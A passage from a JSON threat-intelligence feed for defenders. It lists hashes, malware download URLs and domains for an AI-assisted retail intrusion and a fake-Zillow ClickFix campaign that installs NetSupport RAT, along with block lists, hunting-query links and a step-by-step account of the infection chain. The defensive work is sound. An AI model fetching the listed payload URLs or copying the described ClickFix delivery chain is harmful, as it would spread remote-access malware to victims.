"https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "source_label": "Symantec Threat Hunter Team – How AI Revived a Stalled Attack on a U.S. Retailer", "source_name": "Symantec Threat Hunter Team", "sources": [ { "url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "name": "Symantec Threat Hunter Team" } ] }, { "value": "http://8.219.82.21/yuze-Windows-X64.exe", "type": "url", "confidence": "med", "recommended_action": "alert", "description": "Yuze reverse proxy download from an Alibaba Cloud address.", "source_url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "source_label": "Symantec Threat Hunter Team – How AI Revived a Stalled Attack on a U.S. Retailer", "source_name": "Symantec Threat Hunter Team", "sources": [ { "url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "name": "Symantec Threat Hunter Team" } ] }, { "value": "54fb493822bcd832f7b2256015f13e3dfde815e1931e7fd39a90ea8ad3fdbd0a", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "server.ps1, an AES-encrypted PowerShell reverse shell that calls 166.0.25.106 on port 443.", "source_url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "source_label": "Symantec Threat Hunter Team – How AI Revived a Stalled Attack on a U.S. Retailer", "source_name": "Symantec Threat Hunter Team", "sources": [ { "url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "name": "Symantec Threat Hunter Team" } ] }, { "value": "a6579b16f895cf9ac4c31ba20606f2ad1ac4d1458e95c296da2afc1039881513", "type": "sha256", "confidence": "med", "recommended_action": "alert", "description": "bdreinit.exe, a legitimate old Bitdefender executable the attackers dropped in ProgramData to side-load log.dll.", "source_url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "source_label": "Symantec Threat Hunter Team – How AI Revived a Stalled Attack on a U.S. Retailer", "source_name": "Symantec Threat Hunter Team", "sources": [ { "url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "name": "Symantec Threat Hunter Team" } ] }, { "value": "9c866c403e6bd5778fa3788cac9aac39aab1bf2d18a22c9999a4c27e30c0abf3", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "log.dll, malicious DLL side-loaded by bdreinit.exe that decrypts the payload in log.txt.", "source_url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "source_label": "Symantec Threat Hunter Team – How AI Revived a Stalled Attack on a U.S. Retailer", "source_name": "Symantec Threat Hunter Team", "sources": [ { "url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "name": "Symantec Threat Hunter Team" } ] }, { "value": "e95a265bf220a4330f77f842b3eeed8b1ed8c61f51d7e3f2fd33bac14b6b26af", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "log.dll, a second build of the malicious side-loaded DLL.", "source_url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "source_label": "Symantec Threat Hunter Team – How AI Revived a Stalled Attack on a U.S. Retailer", "source_name": "Symantec Threat Hunter Team", "sources": [ { "url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "name": "Symantec Threat Hunter Team" } ] }, { "value": "c21e4fb40f871e418def63a5cdf3603ed4c3c6d1b218710db8ba45538b66fa01", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "Malicious DLL from the side-loading kits.", "source_url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "source_label": "Symantec Threat Hunter Team – How AI Revived a Stalled Attack on a U.S. Retailer", "source_name": "Symantec Threat Hunter Team", "sources": [ { "url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "name": "Symantec Threat Hunter Team" } ] }, { "value": "6500890307f3860899f96452fea3effde777e6fcf369dc1e8861bdb65836d55e", "type": "sha256", "confidence": "med", "recommended_action": "alert", "description": "ask.exe, a legitimate G DATA signed executable launched with -gdata to side-load ask.dll.", "source_url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "source_label": "Symantec Threat Hunter Team – How AI Revived a Stalled Attack on a U.S. Retailer", "source_name": "Symantec Threat Hunter Team", "sources": [ { "url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "name": "Symantec Threat Hunter Team" } ] }, { "value": "7265d69dd8d8939dc888ce5f05190ce200ee2660f928f3b84f60e6a7b3383205", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "ask.dll, malicious DLL side-loaded by ask.exe.", "source_url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "source_label": "Symantec Threat Hunter Team – How AI Revived a Stalled Attack on a U.S. Retailer", "source_name": "Symantec Threat Hunter Team", "sources": [ { "url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "name": "Symantec Threat Hunter Team" } ] }, { "value": "3d79628bf7804dbf17e7b396ecd62ebf5d66518940c6d23daccf59a20953438a", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "BreakChainCs.exe, a launcher that relaunches payloads through WMI or the shell so they no longer appear under w3wp.exe.", "source_url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "source_label": "Symantec Threat Hunter Team – How AI Revived a Stalled Attack on a U.S. Retailer", "source_name": "Symantec Threat Hunter Team", "sources": [ { "url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "name": "Symantec Threat Hunter Team" } ] }, { "value": "f042d705e1de3b5f9b8161ff59aa3ff80c684f5aaeac42be589a579ab1c7cf51", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "BreakChain process-tree-breaking launcher, first build.", "source_url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "source_label": "Symantec Threat Hunter Team – How AI Revived a Stalled Attack on a U.S. Retailer", "source_name": "Symantec Threat Hunter Team", "sources": [ { "url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "name": "Symantec Threat Hunter Team" } ] }, { "value": "5db5e7f655c4ee94411df8110d1b6d02bb15574ac199fa7a553ce6c3cb25bf03", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "ch.exe, the Chisel tunnelling build detected on the web server.", "source_url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "source_label": "Symantec Threat Hunter Team – How AI Revived a Stalled Attack on a U.S. Retailer", "source_name": "Symantec Threat Hunter Team", "sources": [ { "url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "name": "Symantec Threat Hunter Team" }, { "url": "https://bazaar.abuse.ch/sample/5db5e7f655c4ee94411df8110d1b6d02bb15574ac199fa7a553ce6c3cb25bf03/", "name": "MalwareBazaar" } ] }, { "value": "f8b67854d119da08c704b78f7c9fae0501417f5e63ffece86d2e811f1c7dea68", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "Yuze reverse SOCKS proxy build used by the attackers.", "source_url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "source_label": "Symantec Threat Hunter Team – How AI Revived a Stalled Attack on a U.S. Retailer", "source_name": "Symantec Threat Hunter Team", "sources": [ { "url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "name": "Symantec Threat Hunter Team" } ] }, { "value": "ef7c23619cf9293002fbe4f50147e806de0168cf186ca01fea2e113dc2eb1dce", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "DNS-over-HTTPS backdoor.", "source_url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "source_label": "Symantec Threat Hunter Team – How AI Revived a Stalled Attack on a U.S. Retailer", "source_name": "Symantec Threat Hunter Team", "sources": [ { "url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "name": "Symantec Threat Hunter Team" } ] }, { "value": "b739635832c7f7f2be4821982980d2977165a2c8226f5912e6431db8c0cf6eea", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "DNS-over-HTTPS backdoor, second build.", "source_url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "source_label": "Symantec Threat Hunter Team – How AI Revived a Stalled Attack on a U.S. Retailer", "source_name": "Symantec Threat Hunter Team", "sources": [ { "url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "name": "Symantec Threat Hunter Team" } ] }, { "value": "0241f569f4ce1bf0f2470867d6ba40f23f78d4d3ee2fbc423c91f3b591f446bc", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "DNS-over-HTTPS backdoor, third build.", "source_url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "source_label": "Symantec Threat Hunter Team – How AI Revived a Stalled Attack on a U.S. Retailer", "source_name": "Symantec Threat Hunter Team", "sources": [ { "url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "name": "Symantec Threat Hunter Team" } ] }, { "value": "c9a5e9799f2844a71d0085697b3c2adb5528f4b9516146826193ddbe4d89423c", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "Privilege escalation tool.", "source_url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "source_label": "Symantec Threat Hunter Team – How AI Revived a Stalled Attack on a U.S. Retailer", "source_name": "Symantec Threat Hunter Team", "sources": [ { "url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "name": "Symantec Threat Hunter Team" } ] }, { "value": "fad5dc8987df3206fdc50d0f4889bee06721d54a373bdc2f5545ba560562647e", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "Privilege escalation tool, second build.", "source_url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "source_label": "Symantec Threat Hunter Team – How AI Revived a Stalled Attack on a U.S. Retailer", "source_name": "Symantec Threat Hunter Team", "sources": [ { "url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "name": "Symantec Threat Hunter Team" } ] }, { "value": "2b7ed8dc34a83430029764d64f81c8f42e19c81fe923742558c96799a34dcf19", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "Sandbox-evasion test utility.", "source_url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "source_label": "Symantec Threat Hunter Team – How AI Revived a Stalled Attack on a U.S. Retailer", "source_name": "Symantec Threat Hunter Team", "sources": [ { "url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "name": "Symantec Threat Hunter Team" } ] }, { "value": "7c8eb7d23337536ed2aec14f1425c2fcd13976a4390cfecf653533e6a3bd87c4", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "test.ps1, seen in the earlier linked intrusion at a different organization.", "source_url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "source_label": "Symantec Threat Hunter Team – How AI Revived a Stalled Attack on a U.S. Retailer", "source_name": "Symantec Threat Hunter Team", "sources": [ { "url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "name": "Symantec Threat Hunter Team" } ] }, { "value": "ba4038fd20e474c047be8aad5bfacdb1bfc1ddbe12f803f473b7918d8d819436", "type": "sha256", "confidence": "med", "recommended_action": "alert", "description": "File Symantec lists as suspicious in this intrusion without naming its role.", "source_url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "source_label": "Symantec Threat Hunter Team – How AI Revived a Stalled Attack on a U.S. Retailer", "source_name": "Symantec Threat Hunter Team", "sources": [ { "url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "name": "Symantec Threat Hunter Team" } ] }, { "value": "deabe064a12641c4e95d4b133746f148d8ed4bcffd1dfe9ce1b6621dde2aa774", "type": "sha256", "confidence": "med", "recommended_action": "alert", "description": "File Symantec lists as suspicious in this intrusion without naming its role.", "source_url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "source_label": "Symantec Threat Hunter Team – How AI Revived a Stalled Attack on a U.S. Retailer", "source_name": "Symantec Threat Hunter Team", "sources": [ { "url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "name": "Symantec Threat Hunter Team" } ] }, { "value": "d92f20d73ade9a6134bec960aed0c02873e19cd03d707c85064c73ce0f852104", "type": "sha256", "confidence": "med", "recommended_action": "alert", "description": "File Symantec lists as suspicious in this intrusion without naming its role.", "source_url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "source_label": "Symantec Threat Hunter Team – How AI Revived a Stalled Attack on a U.S. Retailer", "source_name": "Symantec Threat Hunter Team", "sources": [ { "url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "name": "Symantec Threat Hunter Team" } ] }, { "value": "bcccfca65602e2691e25e8590a7029fa40712e05eac8bf203f3f5dc900b31ad4", "type": "sha256", "confidence": "med", "recommended_action": "alert", "description": "File Symantec lists as suspicious in this intrusion without naming its role.", "source_url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "source_label": "Symantec Threat Hunter Team – How AI Revived a Stalled Attack on a U.S. Retailer", "source_name": "Symantec Threat Hunter Team", "sources": [ { "url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "name": "Symantec Threat Hunter Team" } ] }, { "value": "9b077fc464d9a4a2e6b227e61eae8a759de13b728e7cd2f06563a1af0de93d19", "type": "sha256", "confidence": "med", "recommended_action": "alert", "description": "File Symantec lists as suspicious in this intrusion without naming its role.", "source_url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "source_label": "Symantec Threat Hunter Team – How AI Revived a Stalled Attack on a U.S. Retailer", "source_name": "Symantec Threat Hunter Team", "sources": [ { "url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "name": "Symantec Threat Hunter Team" } ] }, { "value": "59e51c54cf3ac4d375de96a358c15bc125fe5453ee29cf923276c429097b9eac", "type": "sha256", "confidence": "med", "recommended_action": "alert", "description": "File Symantec lists as suspicious in this intrusion without naming its role.", "source_url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "source_label": "Symantec Threat Hunter Team – How AI Revived a Stalled Attack on a U.S. Retailer", "source_name": "Symantec Threat Hunter Team", "sources": [ { "url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "name": "Symantec Threat Hunter Team" } ] }, { "value": "330e9314bd39898984e52e2e3cc01e84c9c4c95f5bc467cf5bc75cd539dd0438", "type": "sha256", "confidence": "med", "recommended_action": "alert", "description": "File Symantec lists as suspicious in this intrusion without naming its role.", "source_url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "source_label": "Symantec Threat Hunter Team – How AI Revived a Stalled Attack on a U.S. Retailer", "source_name": "Symantec Threat Hunter Team", "sources": [ { "url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "name": "Symantec Threat Hunter Team" } ] }, { "value": "2be9c2222cb177747f58f2ccb224a85879f1c2ffb0240e0b8968536d320b8edf", "type": "sha256", "confidence": "med", "recommended_action": "alert", "description": "File Symantec lists as suspicious in this intrusion without naming its role.", "source_url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "source_label": "Symantec Threat Hunter Team – How AI Revived a Stalled Attack on a U.S. Retailer", "source_name": "Symantec Threat Hunter Team", "sources": [ { "url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "name": "Symantec Threat Hunter Team" } ] }, { "value": "1df54c1c5ee76f2f8f962963df3962f1a688806631da01d0e5ce85b817a5e2f7", "type": "sha256", "confidence": "med", "recommended_action": "alert", "description": "File Symantec lists as suspicious in this intrusion without naming its role.", "source_url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "source_label": "Symantec Threat Hunter Team – How AI Revived a Stalled Attack on a U.S. Retailer", "source_name": "Symantec Threat Hunter Team", "sources": [ { "url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "name": "Symantec Threat Hunter Team" } ] }, { "value": "11b26168927a622ddc3beb592edc3bf476b897a360cbab36ad3ef0039068dd67", "type": "sha256", "confidence": "med", "recommended_action": "alert", "description": "File Symantec lists as suspicious in this intrusion without naming its role.", "source_url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "source_label": "Symantec Threat Hunter Team – How AI Revived a Stalled Attack on a U.S. Retailer", "source_name": "Symantec Threat Hunter Team", "sources": [ { "url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "name": "Symantec Threat Hunter Team" } ] }, { "value": "1f8565e14f8bcde3eb48a6676596d0cd8b7cc3c12d903f97b0e0b3ac8725c17c", "type": "sha256", "confidence": "med", "recommended_action": "alert", "description": "File Symantec lists as suspicious in this intrusion without naming its role.", "source_url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "source_label": "Symantec Threat Hunter Team – How AI Revived a Stalled Attack on a U.S. Retailer", "source_name": "Symantec Threat Hunter Team", "sources": [ { "url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "name": "Symantec Threat Hunter Team" } ] }, { "value": "d376e01930adabbe40634b8b16664a088d8bec2dc99aa88c16db9d302e45aaf5", "type": "sha256", "confidence": "med", "recommended_action": "alert", "description": "File Symantec lists as suspicious in this intrusion without naming its role.", "source_url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "source_label": "Symantec Threat Hunter Team – How AI Revived a Stalled Attack on a U.S. Retailer", "source_name": "Symantec Threat Hunter Team", "sources": [ { "url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "name": "Symantec Threat Hunter Team" } ] }, { "value": "642ea33ddf7eba3043cf7b567ccffe57d6671f640e7734072f02975dfa44d893", "type": "sha256", "confidence": "med", "recommended_action": "alert", "description": "File Symantec lists as suspicious in this intrusion without naming its role.", "source_url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "source_label": "Symantec Threat Hunter Team – How AI Revived a Stalled Attack on a U.S. Retailer", "source_name": "Symantec Threat Hunter Team", "sources": [ { "url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "name": "Symantec Threat Hunter Team" } ] }, { "value": "5ee783076e9c8b3830d8e2dccda9abf65be81a0b8dfc281ff12188f7607f1d38", "type": "sha256", "confidence": "med", "recommended_action": "alert", "description": "File Symantec lists as suspicious in this intrusion without naming its role.", "source_url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "source_label": "Symantec Threat Hunter Team – How AI Revived a Stalled Attack on a U.S. Retailer", "source_name": "Symantec Threat Hunter Team", "sources": [ { "url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "name": "Symantec Threat Hunter Team" } ] }, { "value": "dac237636f2fb1e44e28117999e77fc42a53d3b59b80cfb84928452ffe561793", "type": "sha256", "confidence": "med", "recommended_action": "alert", "description": "File Symantec lists as suspicious in this intrusion without naming its role.", "source_url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "source_label": "Symantec Threat Hunter Team – How AI Revived a Stalled Attack on a U.S. Retailer", "source_name": "Symantec Threat Hunter Team", "sources": [ { "url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "name": "Symantec Threat Hunter Team" } ] }, { "value": "76adf3141ccd877d98c85dbb7f6f227e70f71e8158392ac9797927260dd2faa3", "type": "sha256", "confidence": "med", "recommended_action": "alert", "description": "File Symantec lists as suspicious in this intrusion without naming its role.", "source_url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "source_label": "Symantec Threat Hunter Team – How AI Revived a Stalled Attack on a U.S. Retailer", "source_name": "Symantec Threat Hunter Team", "sources": [ { "url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "name": "Symantec Threat Hunter Team" } ] }, { "value": "5666332a66b1fb46bfbc7e076b21a8081f22931f5688686550d42bcec6aa3207", "type": "sha256", "confidence": "med", "recommended_action": "alert", "description": "File Symantec lists as suspicious in this intrusion without naming its role.", "source_url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "source_label": "Symantec Threat Hunter Team – How AI Revived a Stalled Attack on a U.S. Retailer", "source_name": "Symantec Threat Hunter Team", "sources": [ { "url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "name": "Symantec Threat Hunter Team" } ] }, { "value": "2ffe8c6910d08072ccb8fef133a4570c6a085289b669373b1b508bd294fe9b23", "type": "sha256", "confidence": "med", "recommended_action": "alert", "description": "File Symantec lists as suspicious in this intrusion without naming its role.", "source_url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "source_label": "Symantec Threat Hunter Team – How AI Revived a Stalled Attack on a U.S. Retailer", "source_name": "Symantec Threat Hunter Team", "sources": [ { "url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "name": "Symantec Threat Hunter Team" } ] }, { "value": "717319bc981c2b8f76907e2985f363540cb286f68aff0c75a5841eec2d0c9b04", "type": "sha256", "confidence": "med", "recommended_action": "alert", "description": "File Symantec lists as suspicious in this intrusion without naming its role.", "source_url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "source_label": "Symantec Threat Hunter Team – How AI Revived a Stalled Attack on a U.S. Retailer", "source_name": "Symantec Threat Hunter Team", "sources": [ { "url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "name": "Symantec Threat Hunter Team" } ] }, { "value": "7e9b60d021067dfe22b28783162ce9f55c2ccce7d221cadbf1f0f155dca6779e", "type": "sha256", "confidence": "med", "recommended_action": "alert", "description": "File Symantec lists as suspicious in this intrusion without naming its role.", "source_url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "source_label": "Symantec Threat Hunter Team – How AI Revived a Stalled Attack on a U.S. Retailer", "source_name": "Symantec Threat Hunter Team", "sources": [ { "url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "name": "Symantec Threat Hunter Team" } ] }, { "value": "9b7b2dadba43634e8f6b38f612287865800b6c790e83a69211da55434c26a74a", "type": "sha256", "confidence": "med", "recommended_action": "alert", "description": "File Symantec lists as suspicious in this intrusion without naming its role.", "source_url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "source_label": "Symantec Threat Hunter Team – How AI Revived a Stalled Attack on a U.S. Retailer", "source_name": "Symantec Threat Hunter Team", "sources": [ { "url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "name": "Symantec Threat Hunter Team" } ] }, { "value": "318ce2ca913ff8297f23886a6d6640f28f63ba2bb62c0c6897972265d71e1407", "type": "sha256", "confidence": "med", "recommended_action": "alert", "description": "File Symantec lists as suspicious in this intrusion without naming its role.", "source_url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "source_label": "Symantec Threat Hunter Team – How AI Revived a Stalled Attack on a U.S. Retailer", "source_name": "Symantec Threat Hunter Team", "sources": [ { "url": "https://www.security.com/threat-intelligence/ai-assisted-attack-us-retailer", "name": "Symantec Threat Hunter Team" } ] } ], "queries": [ { "platform": "Defender XDR", "language": "KQL", "name": "hunt.kql", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/AI-Assisted-Retail-Intrusion-SolarWinds-Orion-Erlang-Cookie/hunt.kql", "download": "AI-Assisted-Retail-Intrusion-SolarWinds-Orion-Erlang-Cookie_hunt.kql" }, { "platform": "Splunk", "language": "SPL", "name": "hunt.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/AI-Assisted-Retail-Intrusion-SolarWinds-Orion-Erlang-Cookie/hunt.spl", "download": "AI-Assisted-Retail-Intrusion-SolarWinds-Orion-Erlang-Cookie_hunt.spl", "alt": { "label": "No CIM? Raw-search version", "name": "hunt_raw.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/AI-Assisted-Retail-Intrusion-SolarWinds-Orion-Erlang-Cookie/hunt_raw.spl", "download": "AI-Assisted-Retail-Intrusion-SolarWinds-Orion-Erlang-Cookie_hunt_raw.spl" } }, { "platform": "Google SecOps", "language": "YARA-L 2.0", "name": "hunt.yaral", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/AI-Assisted-Retail-Intrusion-SolarWinds-Orion-Erlang-Cookie/hunt.yaral", "download": "AI-Assisted-Retail-Intrusion-SolarWinds-Orion-Erlang-Cookie_hunt.yaral" } ] }, { "id": "Fake-Zillow-ClickFix-NetSupport-RAT", "folder": "threats/2026-11_November-2026/2026-11-13/Fake-Zillow-ClickFix-NetSupport-RAT", "name": "Fake Zillow Pages Deliver NetSupport RAT through ClickFix", "short": "Fake Zillow ClickFix NetSupport RAT", "category": "Malware / RAT", "published": "2026-11-12", "entry_date": "2026-11-13 03:50", "last_updated": "2026-11-13", "seq": 43, "headline": "EfficientIP Research Labs, writing on 12 November 2026, traces a ClickFix campaign that used fake Zillow apartment-re...", "summary": "EfficientIP Research Labs, writing on 12 November 2026, traces a ClickFix campaign that used fake Zillow apartment-review pages on short-lived apartments-review.sbs domains, first spotted in passive DNS in August 2026. Clicking Continue copied a PowerShell command that fetched a script from the decimal address 1495423691, which is 89.34.90.203, at /winup2. The script hid its window, used a downloaded Python runtime to pull http://89.34.90.203/mestos2.zip, installed NetSupport RAT into %APPDATA%\\NetSupport and dropped a NetSupport.lnk shortcut in the user Startup folder pointing at Service.exe. The installed client was configured to use the gateway domains asgomd.com and asgrsv.com; pivoting on their Flyservers addresses 45.227.254.179 and 45.227.254.10 uncovered seven further short -md and -rsv domains on the same hosts. Help Net Security reported the same findings on 13 November. The landing domains, payload host, URLs and gateway infrastructure are on the block list. Do not block the Cloudflare addresses that only fronted the short-lived landing pages, and do not treat legitimate NetSupport Manager as malware.", "caveat": "The landing domains were short-lived and sat behind Cloudflare; those Cloudflare anycast addresses also serve unrelated sites and must not be blocked. NetSupport Manager is legitimate remote administration software: block only the attacker staging and gateway infrastructure, and hunt the ClickFix command and mestos2.zip install path rather than the product name alone. EfficientIP did not publish a sample hash or confirm victims.", "targets": { "countries": [], "regions": [], "sectors": [], "note": null, "source": null }, "mitre": [ { "id": "T1583.001", "name": "Domains", "url": "https://attack.mitre.org/techniques/T1583/001/" }, { "id": "T1204.001", "name": "Malicious Link", "url": "https://attack.mitre.org/techniques/T1204/001/" }, { "id": "T1059.001", "name": "PowerShell", "url": "https://attack.mitre.org/techniques/T1059/001/" }, { "id": "T1059.006", "name": "Python", "url": "https://attack.mitre.org/techniques/T1059/006/" }, { "id": "T1105", "name": "Ingress Tool Transfer", "url": "https://attack.mitre.org/techniques/T1105/" }, { "id": "T1547.001", "name": "Registry Run Keys / Startup Folder", "url": "https://attack.mitre.org/techniques/T1547/001/" }, { "id": "T1219", "name": "Remote Access Software", "url": "https://attack.mitre.org/techniques/T1219/" }, { "id": "T1036.005", "name": "Match Legitimate Name or Location", "url": "https://attack.mitre.org/techniques/T1036/005/" } ], "recommended_actions": [ "Block the seven apartments-review*.sbs landing domains, 89.34.90.203, the /winup2 and /mestos2.zip URLs, the nine gateway domains and the two Flyservers addresses (they are in the Defender XDR import file), and search 90 days of DNS, proxy and firewall logs for them and for the decimal address 1495423691.", "Hunt for explorer.exe launching PowerShell that uses iwr to fetch winup2, for %TEMP%\\winup2.ps1, and for a Startup-folder NetSupport.lnk whose target is Service.exe under %APPDATA%\\NetSupport after a hidden PowerShell or Python download.", "Treat genuine NetSupport Manager installs as legitimate; do not block the product. If a host ran the ClickFix command, isolate it, remove the Startup shortcut and the %APPDATA%\\NetSupport copy, and rotate credentials the logged-on user could reach." ], "sources": [ { "url": "https://efficientip.com/blog/clickfix-netsupport-rat/", "label": "EfficientIP Research Labs – From Fake Zillow Pages to ClickFix NetSupport RAT", "name": "EfficientIP" }, { "url": "https://www.helpnetsecurity.com/2026/11/13/fake-zillow-clickfix-netsupport-rat/", "label": "Help Net Security – Fake Zillow pages use ClickFix NetSupport RAT to target apartment hunters", "name": "Help Net Security" }, { "url": "https://threatfox.abuse.ch/ioc/1837183/", "label": "ThreatFox – bksnb.com", "name": "ThreatFox" }, { "url": "https://threatfox.abuse.ch/ioc/1837182/", "label": "ThreatFox – jpgomd.com", "name": "ThreatFox (2)" }, { "url": "https://urlhaus.abuse.ch/host/89.34.90.203/", "label": "URLhaus – 89.34.90.203", "name": "URLhaus" } ], "indicator_count": 25, "block_now_count": 21, "hunt_count": 4, "hunt_counts": { "alert": 4 }, "indicator_counts": { "domain": 16, "ipv4": 3, "filename": 2, "other": 2, "url": 2 }, "ioas": [ { "artefact": "explorer.exe launching powershell.exe that uses Invoke-WebRequest (iwr) to fetch winup2 from 89.34.90.203 or the decimal address 1495423691", "log_source": "Defender XDR DeviceProcessEvents", "why": "EfficientIP recovered the ClickFix clipboard command: after the victim pressed Win+R, explorer.exe launched PowerShell, which downloaded /winup2 from the decimal DWORD 1495423691 (89.34.90.203) to %TEMP%\\winup2.ps1 and ran it.", "action": "alert", "has_query": true, "source_url": "https://efficientip.com/blog/clickfix-netsupport-rat/ https://www.helpnetsecurity.com/2026/11/13/fake-zillow-clickfix-netsupport-rat/", "source_name": "EfficientIP", "title": "ClickFix PowerShell iwr of winup2 from the decimal IP", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "PowerShell writing or running %TEMP%\\winup2.ps1, or downloading http://89.34.90.203/mestos2.zip", "log_source": "Defender XDR DeviceProcessEvents and DeviceFileEvents", "why": "winup2.ps1 relaunches itself hidden, writes an embedded Python script and uses a downloaded Python runtime to retrieve mestos2.zip from the same host, then unpacks NetSupport RAT.", "action": "alert", "has_query": true, "source_url": "https://efficientip.com/blog/clickfix-netsupport-rat/ https://www.helpnetsecurity.com/2026/11/13/fake-zillow-clickfix-netsupport-rat/", "source_name": "EfficientIP", "title": "winup2.ps1 or mestos2.zip written or downloaded", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "A Startup-folder shortcut named NetSupport.lnk whose target is 